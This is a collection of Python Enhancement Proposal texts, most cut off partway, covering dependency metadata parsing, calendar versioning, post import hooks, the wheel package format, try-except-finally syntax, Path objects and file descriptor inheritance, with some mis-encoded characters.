        if not isinstance(dependencies, list):
            raise TypeError('Field `project.dependencies` must be an array')

        for i, entry in enumerate(dependencies, 1):
            if not isinstance(entry, str):
                raise TypeError(f'Dependency #{i} of field `project.dependencies` must be a string')

            try:
                Requirement(entry)
            except InvalidRequirement as e:
                raise ValueError(f'Dependency #{i} of field `project.dependencies` is invalid: {e}')

        return dependencies

    def parse_optional_dependencies(config):
        optional_dependencies = config.get('optional-dependencies', {})
        if not isinstance(optional_dependencies, dict):
            raise TypeError('Field `project.optional-dependencies` must be a table')

        optional_dependency_entries = {}

        for option, dependencies in optional_dependencies.items():
            if not isinstance(dependencies, list):
                raise TypeError(
                    f'Dependencies for option `{option}` of field '
                    '`project.optional-dependencies` must be an array'
                )

            entries = []

            for i, entry in enumerate(dependencies, 1):
                if not isinstance(entry, str):
                    raise TypeError(
                        f'Dependency #{i} of option `{option}` of field '
                        '`project.optional-dependencies` must be a string'
                    )

                try:
                    Requirement(entry)
                except InvalidRequirement as e:
                    raise ValueError(
                        f'Dependency #{i} of option `{option}` of field '
                        f'`project.optional-dependencies` is invalid: {e}'
                    )
                else:
                    entries.append(entry)

            optional_dependency_entries[option] = entries

        return optional_dependency_entries

Metadata
--------

::

    def construct_metadata_file(metadata_object):
        """
        https://packaging.python.org/specifications/core-metadata/
        """
        metadata_file = 'Metadata-Version: 2.1\n'

        ...

        if metadata_object.dependencies:
            # Sort dependencies to ensure reproducible builds
            for dependency in sorted(metadata_object.dependencies):
                metadata_file += f'Requires-Dist: {dependency}\n'

        if metadata_object.optional_dependencies:
            # Sort extras and dependencies to ensure reproducible builds
            for option, dependencies in sorted(metadata_object.optional_dependencies.items()):
                metadata_file += f'Provides-Extra: {option}\n'
                for dependency in sorted(dependencies):
                    if ';' in dependency:
                        metadata_file += f'Requires-Dist: {dependency} and extra == "{option}"\n'
                    else:
                        metadata_file += f'Requires-Dist: {dependency}; extra == "{option}"\n'

        ...

        return metadata_file

Copyright
=========

This document is placed in the public domain or under the
CC0-1.0-Universal license, whichever is more permissive.


.. _Requires-Dist: https://packaging.python.org/specifications/core-metadata/#requires-dist-multiple-use
.. _Provides-Extra: https://packaging.python.org/specifications/core-metadata/#provides-extra-multiple-use
.. _docker-compose: https://github.com/docker/compose/blob/789bfb0e8b2e61f15f423d371508b698c64b057f/setup.py#L28-L61


id: pep-2026.rst
content:
PEP: 2026
Title: Calendar versioning for Python
Author: Hugo van Kemenade
Discussions-To: https://discuss.python.org/t/pep-2026-calendar-versioning-for-python/55782
Status: Rejected
Type: Process
Created: 11-Jun-2024
Python-Version: 3.26
Post-History: `14-Jun-2024 <https://discuss.python.org/t/pep-2026-calendar-versioning-for-python/55782>`__
Resolution: https://discuss.python.org/t/pep-2026-calendar-versioning-for-python/55782/126


Abstract
========

This PEP proposes updating the versioning scheme for Python to include
the calendar year.

Calendar Versioning (CalVer) makes *everything* easier to translate into
calendar time rather than counting versions and looking up when they will be
(or were) released:

* The support lifecycle is clear,
  making it easy to see when a version was first released.
* Deprecations are easier to manage for maintainers and users.
* It's easier to work out when a version will reach end of life (EOL).
* It helps people, especially new learners, understand how old their installation is.
* It's easier to reason about which versions of Python to support
  for libraries and applications.

Starting with what would have been Python 3.15,
the version is 3.YY.micro where YY is the year of initial release:

* Python 3.26 will be released in 2026 instead of Python 3.15.
  EOL is five years after initial release,
  therefore Python 3.26 will reach EOL in 2031.
* Python 3.27 will be released in 2027, and so on.

Motivation and rationale
========================

In 2019, we adopted an annual release cycle with :pep:`602`, which opened the
door for calendar versioning:

   Adopting an annual release calendar allows for natural switching to calendar
   versioning, for example by calling Python 3.9 âPython 3.20â since itâs
   released in October â20 and so on (âPython 3.23â would be the one released
   in October â23).

   While the ease of switching to calendar versioning can be treated as an
   advantage of an annual release cycle, this PEP does not advocate for or
   against a change in how Python is versioned. Should the annual release
   cycle be adopted, the versioning question will be dealt with in a separate
   PEP.

This is that PEP.

Current scheme
--------------

From the General Python FAQ:
:external+python:ref:`faq-version-numbering-scheme`

   Python versions are numbered "A.B.C" or "A.B":

   * *A* is the major version number
     -- it is only incremented for really major changes in the language.
   * *B* is the minor version number
     -- it is incremented for less earth-shattering changes.
   * *C* is the micro version number
     -- it is incremented for each bugfix release.

Python predates SemVer
----------------------

`Semantic Versioning <https://semver.org/>`__ (SemVer)
is a popular scheme which aims to communicate the intent of a release (though it
`doesn't always succeed <https://hynek.me/articles/semver-will-not-save-you/>`__).

   Given a version number MAJOR.MINOR.PATCH, increment the:

   1. MAJOR version when you make incompatible API changes
   2. MINOR version when you add functionality in a backward compatible manner
   3. PATCH version when you make backward compatible bug fixes

People often assume Python follows SemVer and
`complain <https://hugovk.github.io/python-calver/images/images.005.jpg>`__
`about <https://web.archive.org/web/20210415230926/https://twitter.com/gjbernat/status/1382833338751328257>`__
`breaking  <https://web.archive.org/web/20211116214312/https://twitter.com/VictorStinner/status/1460725106129489925>`__
`changes  <https://web.archive.org/web/20220311211508/https://twitter.com/brettsky/status/1502392549222223872>`__
in `feature <https://mastodon.social/@hugovk/111974066832803921>`__
`releases <https://fosstodon.org/@deshipu/112469856667396622>`__.
But Python predates SemVer by at least 15 years:
the SemVer spec was `introduced in 2009
<https://github.com/semver/semver.org/commit/ca645805ca206e83c7153c64f9bda54afff06262>`__
and the bespoke Python scheme was `added to source control in 1994
<https://github.com/python/cpython/commit/95f61a7ef067dbcabccc9b45ee885b0d55922c5f>`__
for the 1.0 release.

If Python adopted SemVer, that would imply a new major bump every year when
we remove deprecations.

Instead of SemVer, however, some projects have adopted another versioning
scheme based on the calendar.

Calendar versioning
-------------------

With `Calendar Versioning <https://calver.org/>`__ (CalVer),
you include some element of the date in the version number.
`For example <https://calver.org/users.html>`__,
Ubuntu and Black use the year and month -- Ubuntu 24.04 came out in April 2024;
pip and PyCharm use only the year.

.. list-table::
   :header-rows: 1

   * - Ubuntu
     - Black
     - pip
     - PyCharm
   * - YY.0M.micro
     - YY.MM.micro
     - YY.minor.micro
     - YYYY.minor.micro
   * - | 23.04
       | 23.10
       | 24.04
       | 24.10
     - | 23.12.1
       | 24.1.0
       | 24.1.1
       | 24.2.0
     - | 23.3
       | 23.3.1
       | 23.3.2
       | 24.0
     - | 2023.3.5
       | 2024.1
       | 2024.1.1
       | 2024.1.2

And here are some programming language standards,
all using some form of the year:

.. list-table::
   :header-rows: 1

   * - Ada
     - Algol
     - C
     - C++
     - Fortran
     - | ECMAScript
       | aka JavaScript
   * - YY / YYYY
     - YY
     - YY
     - YY
     - YY / YYYY
     - YYYY
   * - | 83
       | 95
       | 2012
       | 2022
     - | 58
       | 60
       | 68
     - | 89
       | 99
       | 11
       | 23
     - | 98
       | 03
       | 11
       | 23
     - | 66
       | 90
       | 2003
       | 2023
     - | 2020
       | 2021
       | 2022
       | 2023

Annual release cadence
----------------------

Since 2019, we've made a release each year:

* 3.15.0 will be released in 2026
* 3.16.0 will be released in 2027
* 3.17.0 will be released in 2028
* 3.18.0 will be released in 2029
* 3.19.0 will be released in 2030

This is sort of calendar-based, itâs just that itâs offset by 11 years.

CalVer for Python
-----------------

The simplest CalVer option would be to stick with major version 3,
and encode the year in the minor version:

* 3.26.0 will be released in 2026
* 3.27.0 will be released in 2027
* 3.28.0 will be released in 2028
* 3.29.0 will be released in 2029
* 3.30.0 will be released in 2030

For example, 3.26 will be released in 2026.
It makes it obvious when a release first came out.

Clarity of deprecation removal
------------------------------

Warnings for deprecations often mention the version they will be removed in.
For example:

   DeprecationWarning: 'ctypes.SetPointerType' is deprecated and slated for
   removal in Python 3.15

However, once aware of CalVer, it is immediately obvious from the warning how
long you have to take action:

   DeprecationWarning: 'ctypes.SetPointerType' is deprecated and slated for
   removal in Python 3.26

Clarity of support lifecycle
----------------------------

Right now, itâs a little tricky to work out when a release is end-of-life.
First you have to look up when it was initially released, then add 5 years:

   "When will Python 3.11 be EOL?"

   "Well, let's see... PEP 664 is the 3.11 release schedule, it says 3.11 was
   released in 2022, EOL after 5 years, so 2022 + 5 = 2027."

But if the initial release year is right there in the version,
itâs much easier:

    "When will Python 3.26 be EOL?"

    "26 + 5 = [20]31"

Clarity of installation age
---------------------------

With the year in the version, itâs easier to work out how old your installation
is. For example, with the current scheme, if you're using Python 3.15 in 2035,
it's not immediately clear that it was first released in 2026 (and has been EOL
since 2031).

With knowledge of CalVer, if you're using Python 3.26 in 2035, it's clear it was
first released nine years ago and it's probably time to upgrade.

This can help prompt people to switch to supported releases still under


id: pep-0369.rst
content:
PEP: 369
Title: Post import hooks
Author: Christian Heimes <christian@python.org>
Status: Withdrawn
Type: Standards Track
Created: 02-Jan-2008
Python-Version: 2.6, 3.0
Post-History: 02-Dec-2012


Withdrawal Notice
=================

This PEP has been withdrawn by its author, as much of the detailed design
is no longer valid following the migration to importlib in Python 3.3.


Abstract
========

This PEP proposes enhancements for the import machinery to add
post import hooks. It is intended primarily to support the wider
use of abstract base classes that is expected in Python 3.0.

The PEP originally started as a combined PEP for lazy imports and
post import hooks. After some discussion on the python-dev mailing
list the PEP was parted in two separate PEPs. [1]_


Rationale
=========

Python has no API to hook into the import machinery and execute code
*after* a module is successfully loaded. The import hooks of :pep:`302` are
about finding modules and loading modules but they were not designed to
as post import hooks.


Use cases
=========

A use case for a post import hook is mentioned in Alyssa (Nick) Coghlan's initial
posting [2]_. about callbacks on module import. It was found during the
development of Python 3.0 and its ABCs. We wanted to register classes
like decimal.Decimal with an ABC but the module should not be imported
on every interpreter startup. Alyssa came up with this example::

   @imp.when_imported('decimal')
   def register(decimal):
       Inexact.register(decimal.Decimal)

The function ``register`` is registered as callback for the module named
'decimal'. When decimal is imported the function is called with the
module object as argument.

While this particular example isn't necessary in practice, (as
decimal.Decimal will inherit from the appropriate abstract Number base
class in 2.6 and 3.0), it still illustrates the principle.


Existing implementations
========================

PJE's peak.util.imports [3]_ implements post load hooks. My
implementation shares a lot with his and it's partly based on his ideas.


Post import hook implementation
===============================

Post import hooks are called after a module has been loaded. The hooks
are callable which take one argument, the module instance. They are
registered by the dotted name of the module, e.g. 'os' or 'os.path'.

The callable are stored in the dict ``sys.post_import_hooks`` which
is a mapping from names (as string) to a list of callables or None.


States
------

No hook was registered
''''''''''''''''''''''

sys.post_import_hooks contains no entry for the module


A hook is registered and the module is not loaded yet
'''''''''''''''''''''''''''''''''''''''''''''''''''''

The import hook registry contains an entry
sys.post_import_hooks["name"] = [hook1]


A module is successfully loaded
'''''''''''''''''''''''''''''''

The import machinery checks if sys.post_import_hooks contains post import
hooks for the newly loaded module. If hooks are found then the hooks are
called in the order they were registered with the module instance as first
argument. The processing of the hooks is stopped when a method raises an
exception. At the end the entry for the module name set to None, even
when an error has occurred.

Additionally the new ``__notified__`` slot of the module object is set
to ``True`` in order to prevent infinity recursions when the notification
method is called inside a hook. For object which don't subclass from
``PyModule`` a new attribute is added instead.


A module can't be loaded
''''''''''''''''''''''''

The import hooks are neither called nor removed from the registry. It
may be possible to load the module later.


A hook is registered but the module is already loaded
'''''''''''''''''''''''''''''''''''''''''''''''''''''

The hook is fired immediately.


Invariants
----------

The import hook system guarantees certain invariants. XXX


Sample Python implementation
----------------------------

A Python implementation may look like::

      def notify(name):
          try:
              module = sys.modules[name]
          except KeyError:
              raise ImportError("Module %s has not been imported" % (name,))
          if module.__notified__:
              return
          try:
              module.__notified__ = True
              if '.' in name:
                  notify(name[:name.rfind('.')])
              for callback in post_import_hooks[name]:
                 callback(module)
          finally:
              post_import_hooks[name] = None

    XXX


C API
-----

New C API functions
'''''''''''''''''''

``PyObject* PyImport_GetPostImportHooks(void)``
    Returns the dict sys.post_import_hooks or NULL

``PyObject* PyImport_NotifyLoadedByModule(PyObject *module)``
   Notify the post import system that a module was requested. Returns the
   a borrowed reference to the same module object or NULL if an error has
   occurred. The function calls only the hooks for the module itself and not
   its parents. The function must be called with the import lock acquired.

``PyObject* PyImport_NotifyLoadedByName(const char *name)``
   ``PyImport_NotifyLoadedByName("a.b.c")`` calls
   ``PyImport_NotifyLoadedByModule()`` for ``a``, ``a.b`` and ``a.b.c``
   in that particular order. The modules are retrieved from
   ``sys.modules``. If a module can't be retrieved, an exception is raised
   otherwise the a borrowed reference to ``modname`` is returned.
   The hook calls always start with the prime parent module.
   The caller of PyImport_NotifyLoadedByName() must hold the import lock!

``PyObject* PyImport_RegisterPostImportHook(PyObject *callable, PyObject *mod_name)``
   Register a new hook ``callable`` for the module ``mod_name``

``int PyModule_GetNotified(PyObject *module)``
   Returns the status of the ``__notified__`` slot / attribute.

``int PyModule_SetNotified(PyObject *module, int status)``
   Set the status of the ``__notified__`` slot / attribute.


The ``PyImport_NotifyLoadedByModule()`` method is called inside
``import_submodule()``. The import system makes sure that the import lock
is acquired and the hooks for the parent modules are already called.


Python API
----------

The import hook registry and two new API methods are exposed through the
``sys`` and ``imp`` module.

``sys.post_import_hooks``
    The dict contains the post import hooks::

       {"name" : [hook1, hook2], ...}

``imp.register_post_import_hook(hook: "callable", name: str)``
   Register a new hook *hook* for the module *name*

``imp.notify_module_loaded(module: "module instance") -> module``
   Notify the system that a module has been loaded. The method is provided
   for compatibility with existing lazy / deferred import extensions.

``module.__notified__``
   A slot of a module instance. XXX

The when_imported function decorator is also in the imp module,
which is equivalent to::

   def when_imported(name):
       def register(hook):
           register_post_import_hook(hook, name)
       return register

imp.when_imported(name) -> decorator function
   for @when_imported(name) def hook(module): pass


Open issues
===========

The when_imported decorator hasn't been written.

The code contains several XXX comments. They are mostly about error
handling in edge cases.


Backwards Compatibility
=======================

The new features and API don't conflict with old import system of Python
and don't cause any backward compatibility issues for most software.
However systems like PEAK and Zope which implement their own lazy import
magic need to follow some rules.

The post import hooks carefully designed to cooperate with existing
deferred and lazy import systems. It's the suggestion of the PEP author
to replace own on-load-hooks with the new hook API. The alternative
lazy or deferred imports will still work but the implementations must
call the ``imp.notify_module_loaded`` function.


Reference Implementation
========================

A reference implementation is already


id: pep-0427.rst
content:
PEP: 427
Title: The Wheel Binary Package Format 1.0
Author: Daniel Holth <dholth@gmail.com>
BDFL-Delegate: Alyssa Coghlan <ncoghlan@gmail.com>
Discussions-To: distutils-sig@python.org
Status: Final
Type: Standards Track
Topic: Packaging
Created: 20-Sep-2012
Post-History: 18-Oct-2012, 15-Feb-2013
Resolution: https://mail.python.org/pipermail/python-dev/2013-February/124103.html


.. canonical-pypa-spec:: :ref:`packaging:binary-distribution-format`


Abstract
========

This PEP describes a built-package format for Python called "wheel".

A wheel is a ZIP-format archive with a specially formatted file name and
the ``.whl`` extension.  It contains a single distribution nearly as it
would be installed according to :pep:`376` with a particular installation
scheme.  Although a specialized installer is recommended, a wheel file
may be installed by simply unpacking into site-packages with the standard
'unzip' tool while preserving enough information to spread its contents
out onto their final paths at any later time.


PEP Acceptance
==============

This PEP was accepted, and the defined wheel version updated to 1.0, by
Alyssa Coghlan on 16th February, 2013 [1]_


Rationale
=========

Python needs a package format that is easier to install than sdist.
Python's sdist packages are defined by and require the distutils and
setuptools build systems, running arbitrary code to build-and-install,
and re-compile, code just so it can be installed into a new
virtualenv.  This system of conflating build-install is slow, hard to
maintain, and hinders innovation in both build systems and installers.

Wheel attempts to remedy these problems by providing a simpler
interface between the build system and the installer.  The wheel
binary package format frees installers from having to know about the
build system, saves time by amortizing compile time over many
installations, and removes the need to install a build system in the
target environment.


Details
=======

Installing a wheel 'distribution-1.0-py32-none-any.whl'
-------------------------------------------------------

Wheel installation notionally consists of two phases:

- Unpack.

  a. Parse ``distribution-1.0.dist-info/WHEEL``.
  b. Check that installer is compatible with Wheel-Version.  Warn if
     minor version is greater, abort if major version is greater.
  c. If Root-Is-Purelib == 'true', unpack archive into purelib
     (site-packages).
  d. Else unpack archive into platlib (site-packages).

- Spread.

  a. Unpacked archive includes ``distribution-1.0.dist-info/`` and (if
     there is data) ``distribution-1.0.data/``.
  b. Move each subtree of ``distribution-1.0.data/`` onto its
     destination path. Each subdirectory of ``distribution-1.0.data/``
     is a key into a dict of destination directories, such as
     ``distribution-1.0.data/(purelib|platlib|headers|scripts|data)``.
     The initially supported paths are taken from
     ``distutils.command.install``.
  c. If applicable, update scripts starting with ``#!python`` to point
     to the correct interpreter.
  d. Update ``distribution-1.0.dist-info/RECORD`` with the installed
     paths.
  e. Remove empty ``distribution-1.0.data`` directory.
  f. Compile any installed .py to .pyc. (Uninstallers should be smart
     enough to remove .pyc even if it is not mentioned in RECORD.)

Recommended installer features
''''''''''''''''''''''''''''''

Rewrite ``#!python``.
    In wheel, scripts are packaged in
    ``{distribution}-{version}.data/scripts/``.  If the first line of
    a file in ``scripts/`` starts with exactly ``b'#!python'``, rewrite to
    point to the correct interpreter.  Unix installers may need to add
    the +x bit to these files if the archive was created on Windows.

    The ``b'#!pythonw'`` convention is allowed. ``b'#!pythonw'`` indicates
    a GUI script instead of a console script.

Generate script wrappers.
    In wheel, scripts packaged on Unix systems will certainly not have
    accompanying .exe wrappers.  Windows installers may want to add them
    during install.

Recommended archiver features
'''''''''''''''''''''''''''''

Place ``.dist-info`` at the end of the archive.
    Archivers are encouraged to place the ``.dist-info`` files physically
    at the end of the archive.  This enables some potentially interesting
    ZIP tricks including the ability to amend the metadata without
    rewriting the entire archive.


File Format
-----------

File name convention
''''''''''''''''''''

The wheel filename is ``{distribution}-{version}(-{build
tag})?-{python tag}-{abi tag}-{platform tag}.whl``.

distribution
    Distribution name, e.g. 'django', 'pyramid'.

version
    Distribution version, e.g. 1.0.

build tag
    Optional build number.  Must start with a digit.  Acts as a
    tie-breaker if two wheel file names are the same in all other
    respects (i.e. name, version, and other tags).  Sort as an
    empty tuple if unspecified, else sort as a two-item tuple with
    the first item being the initial digits as an ``int``, and the
    second item being the remainder of the tag as a ``str``.

language implementation and version tag
    E.g. 'py27', 'py2', 'py3'.

abi tag
    E.g. 'cp33m', 'abi3', 'none'.

platform tag
    E.g. 'linux_x86_64', 'any'.

For example, ``distribution-1.0-1-py27-none-any.whl`` is the first
build of a package called 'distribution', and is compatible with
Python 2.7 (any Python 2.7 implementation), with no ABI (pure Python),
on any CPU architecture.

The last three components of the filename before the extension are
called "compatibility tags."  The compatibility tags express the
package's basic interpreter requirements and are detailed in :pep:`425`.

Escaping and Unicode
''''''''''''''''''''

Each component of the filename is escaped by replacing runs of
non-alphanumeric characters with an underscore ``_``::

    re.sub("[^\w\d.]+", "_", distribution, re.UNICODE)

The archive filename is Unicode.  It will be some time before the tools
are updated to support non-ASCII filenames, but they are supported in
this specification.

The filenames *inside* the archive are encoded as UTF-8.  Although some
ZIP clients in common use do not properly display UTF-8 filenames,
the encoding is supported by both the ZIP specification and Python's
``zipfile``.

File contents
'''''''''''''

The contents of a wheel file, where {distribution} is replaced with the
name of the package, e.g. ``beaglevote`` and {version} is replaced with
its version, e.g. ``1.0.0``, consist of:

#. ``/``, the root of the archive, contains all files to be installed in
   ``purelib`` or ``platlib`` as specified in ``WHEEL``.  ``purelib`` and
   ``platlib`` are usually both ``site-packages``.
#. ``{distribution}-{version}.dist-info/`` contains metadata.
#. ``{distribution}-{version}.data/`` contains one subdirectory
   for each non-empty install scheme key not already covered, where
   the subdirectory name is an index into a dictionary of install paths
   (e.g. ``data``, ``scripts``, ``headers``, ``purelib``, ``platlib``).
#. Python scripts must appear in ``scripts`` and begin with exactly
   ``b'#!python'`` in order to enjoy script wrapper generation and
   ``#!python`` rewriting at install time.  They may have any or no
   extension.
#. ``{distribution}-{version}.dist-info/METADATA`` is Metadata version 1.1
   or greater format metadata.
#. ``{distribution}-{version}.dist-info/WHEEL`` is metadata about the archive
   itself in the same basic key: value format::

       Wheel-Version: 1.0
       Generator: bdist_wheel 1.0
       Root-Is-Purelib: true
       Tag: py2-none-any
       Tag: py3-none-any
       Build: 1

#. ``Wheel-Version`` is the version number of the Wheel specification.
#. ``Generator`` is the name and optionally the version of the software
   that produced the archive.
#. ``Root-Is-Purelib`` is true if the top level directory of the archive
   should be installed into purelib; otherwise the root should be installed
   into platlib.
#.


id: pep-0341.rst
content:
PEP: 341
Title: Unifying try-except and try-finally
Author: Georg Brandl <georg@python.org>
Status: Final
Type: Standards Track
Created: 04-May-2005
Python-Version: 2.5
Post-History:


Abstract
========

This PEP proposes a change in the syntax and semantics of try
statements to allow combined try-except-finally blocks. This
means in short that it would be valid to write::

    try:
        <do something>
    except Exception:
        <handle the error>
    finally:
        <cleanup>


Rationale/Proposal
==================

There are many use cases for the try-except statement and
for the try-finally statement per se; however, often one needs
to catch exceptions and execute some cleanup code afterwards.
It is slightly annoying and not very intelligible that
one has to write::

    f = None
    try:
        try:
            f = open(filename)
            text = f.read()
        except IOError:
            print 'An error occurred'
    finally:
        if f:
            f.close()

So it is proposed that a construction like this::

    try:
        <suite 1>
    except Ex1:
        <suite 2>
    <more except: clauses>
    else:
        <suite 3>
    finally:
        <suite 4>

be exactly the same as the legacy::

    try:
        try:
            <suite 1>
        except Ex1:
            <suite 2>
        <more except: clauses>
        else:
            <suite 3>
    finally:
        <suite 4>

This is backwards compatible, and every try statement that is
legal today would continue to work.


Changes to the grammar
======================

The grammar for the try statement, which is currently::

    try_stmt: ('try' ':' suite (except_clause ':' suite)+
            ['else' ':' suite] | 'try' ':' suite 'finally' ':' suite)

would have to become::

    try_stmt: 'try' ':' suite
            (
                (except_clause ':' suite)+
                ['else' ':' suite]
                ['finally' ':' suite]
            |
                'finally' ':' suite
            )


Implementation
==============

As the PEP author currently does not have sufficient knowledge
of the CPython implementation, he is unfortunately not able
to deliver one.  Thomas Lee has submitted a patch [2]_.

However, according to Guido, it should be a piece of cake to
implement [1]_ -- at least for a core hacker.

This patch was committed 17 December 2005, SVN revision 41740 [3]_.


References
==========

.. [1] https://mail.python.org/pipermail/python-dev/2005-May/053319.html
.. [2] https://bugs.python.org/issue1355913
.. [3] https://mail.python.org/pipermail/python-checkins/2005-December/048457.html


Copyright
=========

This document has been placed in the public domain.


id: pep-0355.rst
content:
PEP: 355
Title: Path - Object oriented filesystem paths
Author: BjÃ¶rn Lindqvist <bjourne@gmail.com>
Status: Rejected
Type: Standards Track
Created: 24-Jan-2006
Python-Version: 2.5
Post-History:


Rejection Notice
================

This PEP has been rejected (in this form).  The proposed path class
is the ultimate kitchen sink; but the notion that it's better to
implement **all** functionality that uses a path as a method on a single
class is an anti-pattern.  (E.g. why not ``open()``?  Or ``execfile()``?)
Subclassing from str is a particularly bad idea; many string
operations make no sense when applied to a path.  This PEP has
lingered, and while the discussion flares up from time to time,
it's time to put this PEP out of its misery.  A less far-fetched
proposal might be more palatable.


Abstract
========

This PEP describes a new class, ``Path``, to be added to the ``os``
module, for handling paths in an object oriented fashion.  The
"weak" deprecation of various related functions is also discussed
and recommended.


Background
==========

The ideas expressed in this PEP are not recent, but have been
debated in the Python community for many years.  Many have felt
that the API for manipulating file paths as offered in the os.path
module is inadequate.  The first proposal for a ``Path`` object was
raised by Just van Rossum on python-dev in 2001 [2]_.  In 2003,
Jason Orendorff released version 1.0 of the "path module" which
was the first public implementation that used objects to represent
paths [3]_.

The path module quickly became very popular and numerous attempts
were made to get the path module included in the Python standard
library; [4]_, [5]_, [6]_, [7]_.

This PEP summarizes the ideas and suggestions people have
expressed about the path module and proposes that a modified
version should be included in the standard library.


Motivation
==========

Dealing with filesystem paths is a common task in any programming
language, and very common in a high-level language like Python.
Good support for this task is needed, because:

- Almost every program uses paths to access files.  It makes sense
  that a task, that is so often performed, should be as intuitive
  and as easy to perform as possible.

- It makes Python an even better replacement language for
  over-complicated shell scripts.

Currently, Python has a large number of different functions
scattered over half a dozen modules for handling paths.  This
makes it hard for newbies and experienced developers to choose
the right method.

The ``Path`` class provides the following enhancements over the
current common practice:

- One "unified" object provides all functionality from previous
  functions.

- Subclassability - the ``Path`` object can be extended to support
  paths other than filesystem paths.  The programmer does not need
  to learn a new API, but can reuse their knowledge of Path
  to deal with the extended class.

- With all related functionality in one place, the right approach
  is easier to learn as one does not have to hunt through many
  different modules for the right functions.

- Python is an object oriented language.  Just like files,
  datetimes and sockets are objects so are paths, they are not
  merely strings to be passed to functions.  ``Path`` objects is
  inherently a pythonic idea.

- ``Path`` takes advantage of properties.  Properties make for more
  readable code::

      if imgpath.ext == 'jpg':
          jpegdecode(imgpath)

  Is better than::

      if os.path.splitexit(imgpath)[1] == 'jpg':
          jpegdecode(imgpath)


Rationale
=========

The following points summarize the design:

- ``Path`` extends from string, therefore all code which expects
  string pathnames need not be modified and no existing code will
  break.

- A ``Path`` object can be created either by using the classmethod
  ``Path.cwd``, by instantiating the class with a string representing
  a path or by using the default constructor which is equivalent
  to ``Path(".")``.

- ``Path`` provides common pathname manipulation, pattern expansion,
  pattern matching and other high-level file operations including
  copying.  Basically ``Path`` provides everything path-related except
  the manipulation of file contents, for which file objects are
  better suited.

- Platform incompatibilities are dealt with by not instantiating
  system specific methods.


Specification
=============

This class defines the following public interface (docstrings have
been extracted from the reference implementation, and shortened
for brevity; see the reference implementation for more detail)::

    class Path(str):

        # Special Python methods:
        def __new__(cls, *args) => Path
            """
            Creates a new path object concatenating the *args.  *args
            may only contain Path objects or strings.  If *args is
            empty, Path(os.curdir) is created.
            """
        def __repr__(self): ...
        def __add__(self, more): ...
        def __radd__(self, other): ...

        # Alternative constructor.
        def cwd(cls): ...

        # Operations on path strings:
        def abspath(self) => Path
            """Returns the absolute path of self as a new Path object."""
        def normcase(self): ...
        def normpath(self): ...
        def realpath(self): ...
        def expanduser(self): ...
        def expandvars(self): ...
        def basename(self): ...
        def expand(self): ...
        def splitpath(self) => (Path, str)
            """p.splitpath() -> Return (p.parent, p.name)."""
        def stripext(self) => Path
            """p.stripext() -> Remove one file extension from the path."""
        def splitunc(self): ...  # See footnote [1]
        def splitall(self): ...
        def relpath(self): ...
        def relpathto(self, dest): ...

        # Properties about the path:
        parent => Path
            """This Path's parent directory as a new path object."""
        name => str
            """The name of this file or directory without the full path."""
        ext => str
            """
            The file extension or an empty string if Path refers to a
            file without an extension or a directory.
            """
        drive => str
            """
            The drive specifier.  Always empty on systems that don't
            use drive specifiers.
            """
        namebase => str
            """
            The same as path.name, but with one file extension
            stripped off.
            """
        uncshare[1]

        # Operations that return lists of paths:
        def listdir(self, pattern = None): ...
        def dirs(self, pattern = None): ...
        def files(self, pattern = None): ...
        def walk(self, pattern = None): ...
        def walkdirs(self, pattern = None): ...
        def walkfiles(self, pattern = None): ...
        def match(self, pattern) => bool
            """Returns True if self.name matches the given pattern."""

        def matchcase(self, pattern) => bool
            """
            Like match() but is guaranteed to be case sensitive even
            on platforms with case insensitive filesystems.
            """
        def glob(self, pattern):

        # Methods for retrieving information about the filesystem
        # path:
        def exists(self): ...
        def isabs(self): ...
        def isdir(self): ...
        def isfile(self): ...
        def islink(self): ...
        def ismount(self): ...
        def samefile(self, other): ...  # See footnote [1]
        def atime(self): ...
            """Last access time of the file."""
        def mtime(self): ...
            """Last-modified time of the file."""
        def ctime(self): ...
            """
            Return the system's ctime which, on some systems (like
            Unix) is the time of the last change, and, on others (like
            Windows), is the creation time for path.
            """
        def size(self): ...
    


id: pep-0433.rst
content:
PEP: 433
Title: Easier suppression of file descriptor inheritance
Author: Victor Stinner <vstinner@python.org>
Status: Superseded
Type: Standards Track
Created: 10-Jan-2013
Python-Version: 3.4
Superseded-By: 446


Abstract
========

Add a new optional *cloexec* parameter on functions creating file
descriptors, add different ways to change default values of this
parameter, and add four new functions:

* ``os.get_cloexec(fd)``
* ``os.set_cloexec(fd, cloexec=True)``
* ``sys.getdefaultcloexec()``
* ``sys.setdefaultcloexec(cloexec)``


Rationale
=========

A file descriptor has a close-on-exec flag which indicates if the file
descriptor will be inherited or not.

On UNIX, if the close-on-exec flag is set, the file descriptor is not
inherited: it will be closed at the execution of child processes;
otherwise the file descriptor is inherited by child processes.

On Windows, if the close-on-exec flag is set, the file descriptor is not
inherited; the file descriptor is inherited by child processes if the
close-on-exec flag is cleared and if ``CreateProcess()`` is called with
the *bInheritHandles* parameter set to ``TRUE`` (when
``subprocess.Popen`` is created with ``close_fds=False`` for example).
Windows does not have "close-on-exec" flag but an inheritance flag which
is just the opposite value. For example, setting close-on-exec flag
means clearing the ``HANDLE_FLAG_INHERIT`` flag of a handle.


Status in Python 3.3
--------------------

On UNIX, the subprocess module closes file descriptors greater than 2 by
default since Python 3.2 [#subprocess_close]_. All file descriptors
created by the parent process are automatically closed in the child
process.

``xmlrpc.server.SimpleXMLRPCServer`` sets the close-on-exec flag of
the listening socket, the parent class ``socketserver.TCPServer``
does not set this flag.

There are other cases creating a subprocess or executing a new program
where file descriptors are not closed: functions of the ``os.spawn*()``
and the ``os.exec*()`` families and third party modules calling
``exec()`` or ``fork()`` + ``exec()``. In this case, file descriptors
are shared between the parent and the child processes which is usually
unexpected and causes various issues.

This PEP proposes to continue the work started with the change in the
subprocess in Python 3.2, to fix the issue in any code, and not just
code using subprocess.


Inherited file descriptors issues
---------------------------------

Closing the file descriptor in the parent process does not close the
related resource (file, socket, ...) because it is still open in the
child process.

The listening socket of TCPServer is not closed on ``exec()``: the child
process is able to get connection from new clients; if the parent closes
the listening socket and create a new listening socket on the same
address, it would get an "address already is used" error.

Not closing file descriptors can lead to resource exhaustion: even if
the parent closes all files, creating a new file descriptor may fail
with "too many files" because files are still open in the child process.

See also the following issues:

* `Issue #2320: Race condition in subprocess using stdin
  <http://bugs.python.org/issue2320>`_ (2008)
* `Issue #3006: subprocess.Popen causes socket to remain open after
  close <http://bugs.python.org/issue3006>`_ (2008)
* `Issue #7213: subprocess leaks open file descriptors between Popen
  instances causing hangs <http://bugs.python.org/issue7213>`_ (2009)
* `Issue #12786: subprocess wait() hangs when stdin is closed
  <http://bugs.python.org/issue12786>`_ (2011)


Security
--------

Leaking file descriptors is a major security vulnerability. An
